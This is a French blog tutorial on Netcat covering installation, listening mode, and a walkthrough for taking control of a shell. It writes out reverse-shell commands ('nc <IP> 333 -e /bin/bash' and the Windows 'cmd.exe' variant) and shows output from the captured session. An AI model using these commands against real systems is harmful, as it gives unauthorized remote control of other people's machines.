Publié le: 24 Oct, 2018 par Davistar
Qu’est-ce que Netcat ?
Netcat (souvent abrégé en nc) est un utilitaire de réseau informatique permettant de lire et d’écrire sur des connexions réseau en utilisant TCP ou UDP.
Netcat est conçu pour être un back-end fiable pouvant être utilisé directement ou facilement piloté par d’autres programmes et scripts. Parallèlement, il s’agit d’un outil de débogage et d’investigation réseau riche en fonctionnalités, car il peut générer pratiquement tout type de connexion dont l’utilisateur pourrait avoir besoin et dispose de nombreuses fonctionnalités intégrées.
Sa liste de fonctionnalités inclut l’analyse de port, le transfert de fichiers et l’écoute de port. Il peut également être utilisé comme porte dérobée.
Installation de Netcat :
Netcat est tres simple d’installation:
Installation Pour Linux :
$ sudo apt update && apt upgrade -y && apt install netcat -y
Installation Pour Windows :
Lien de téléchargement => https://eternallybored.org/misc/netcat/
Extraire l’archive
Finir l’installation
Optionnel : pour ceux qui desire juste taper nc dans le terminal, ajouter nc.exe dans l’environement de PATH Windows
Utilisation de netcat :
Pour afficher l’aide de netcat
$ sudo nc -h
Pour passer netcat sous écoute :
-l = passe netcat en mode écoute
-v = pour rendre nectat plus verbeux
-p = pour specifier le port à écouter
$ sudo nc -lvp 444
listening on [ any] 444 ...
$ sudo nc <IP> <PORT>
L’outil netcat permet d’effectuer des tâches pour le moins dangereuses même s’il ne represente aucun danger en lui même.
Nous allons voir comment prendre le contrôle du shell d’un système :
Tout d’abord, nous devons ecouter un port. Moi, je vais choisir le port 333.
Nous allons maintenant taper la commande pour ecouter notre port 333.
$ nc -lvp 333
listening on [ any] 333 ...
On est maintenant sur écoute prêt à recevoir une connexion
Nous allons maintenant taper cette commande-ci pour se connecter à notre port avec un processus.
$ sudo nc 192.168.1.70 333 -e "/bin/bash"
Pour prendre le shell de windows, faites ceci:
C:\U sers\D avistar\D esktop > nc.exe 192.168.1.70 333 -e cmd.exe
Une fois cette commande entrée, vous devez recevoir cela sur le terminal sous écoute.
$ nc -lvp 333
listening on [ any] 333 ...
192.168.1.70: inverse host lookup failed: Unknown host
connect to [ 192.168.1.70] from ( UNKNOWN) [ 192.168.1.70] 51414
Cela signifie que le client est bien connecté à votre machine, maintenant on peut exécuter toutes les commandes du shell.
Exemple :
ps
PID TTY TIME CMD
7604 pts/1 00:00:00 sudo
7605 pts/1 00:00:00 bash
7606 pts/1 00:00:00 ps
$ ls
aquatone
Desktop
Documents
Images
Musique
Public
Téléchargements
Templates
video.ogv
Vidéos
wordlist
help
GNU bash, version 4.4.23( 1) -release ( x86_64-pc-linux-gnu)
Ces commandes de shell sont définies de manière interne. Saisissez « help » pour voir cette liste.
Tapez « help nom » pour en savoir plus sur la fonction qui s'appelle « nom ».
Utilisez « info bash » pour en savoir plus sur le shell en général.
Utilisez « man -k » ou « info » pour en savoir plus sur les commandes qui
ne font pas partie de cette liste.
Une astérisque (*) à côté d' un nom signifie que la commande est désactivée.
job_spec [ &] history [ -c ] [ -d décalage] [ n] ou hi>
(( expression )) if COMMANDES; then COMMANDES; [ elif >
. nom_fichier [ arguments] jobs [ -lnprs ] [ jobspec ...] ou jobs >
: kill [ -s sigspec | -n signum | -sigs >
[ arg... ] let arg [ arg ...]
[[ expression ]] local [ option] nom[= valeur] ...
alias [ -p ] [ nom[= valeur] ... ] logout [ n]
bg [ job_spec ...] mapfile [ -d délim] [ -n nombre] [ -O o>
bind [ -lpvsPSVX ] [ -m keymap] [ -f nomf> popd [ -n ] [ +N | -N ]
break [ n] printf [ -v var] format [ arguments]
builtin [ shell-builtin [ arg ...]] pushd [ -n ] [ +N | -N | rép]
caller [ expr ] pwd [ -LP ]
case MOT in [ MOTIF [ | MOTIF]...) COMM> read [ -ers ] [ -a tableau] [ -d delim] >
cd [ -L |[-P [ -e ]] [ -@]] [ rép] readarray [ -n nombre] [ -O origine] [>
command [ -pVv ] commande [ arg ...] readonly [ -aAf ] [ nom[= valeur] ...] o>
compgen [ -abcdefgjksuv ] [ -o option] [> return [ n]
complete [ -abcdefgjksuv ] [ -pr ] [ -DE ] > select NOM [ in MOTS ... ; ] do COMMAN>
compopt [ -o |+o option] [ -DE ] [ nom ...> set [ -abefhkmnptuvxBCHP ] [ -o nom-opt>
continue [ n] shift [ n]
coproc [ NOM] commande [ redirections] shopt [ -pqsu ] [ -o ] [ nom_opt ...]
declare [ -aAfFgilnrtux ] [ -p ] [ nom[= va> source nom_fichier [ arguments]
dirs [ -clpv ] [ +N] [ -N ] suspend [ -f ]
disown [ -h ] [ -ar ] [ jobspec ... | pid > test [ expr ]
echo [ -neE ] [ arg ...] time [ -p ] pipeline
enable [ -a ] [ -dnps ] [ -f nomfichier] [> times
eval [ arg ...] trap [ -lp ] [[ arg] signal_spec ...]
exec [ -cl ] [ -a nom] [ commande [ argume> true
exit [ n] type [ -afptP ] nom [ nom ...]
export [ -fn ] [ nom[= valeur] ...] ou ex> typeset [ -aAfFgilnrtux ] [ -p ] nom[= va>
false ulimit [ -SHabcdefiklmnpqrstuvxPT ] [ l>
fc [ -e ename] [ -lnr ] [ premier] [ derni> umask [ -p ] [ -S ] [ mode]
fg [ job_spec] unalias [ -a ] nom [ nom ...]
for NOM [ in MOTS ... ] ; do COMMANDES> unset [ -f ] [ -v ] [ -n ] [ nom ...]
for (( exp1; exp2; exp3 )) ; do COMMAN> until COMMANDES; do COMMANDES; done
function nom { COMMANDES ; } ou nom (> variables - Noms et significations d>
getopts chaineopts nom [ arg] wait [ -n ] [ id ...]
hash [ -lr ] [ -p nomchemin] [ -dt ] [ nom > while COMMANDES; do COMMANDES; done
help [ -dms ] [ motif ...] { COMMANDES ; }
Voilà nous avons l’intégralité du shell.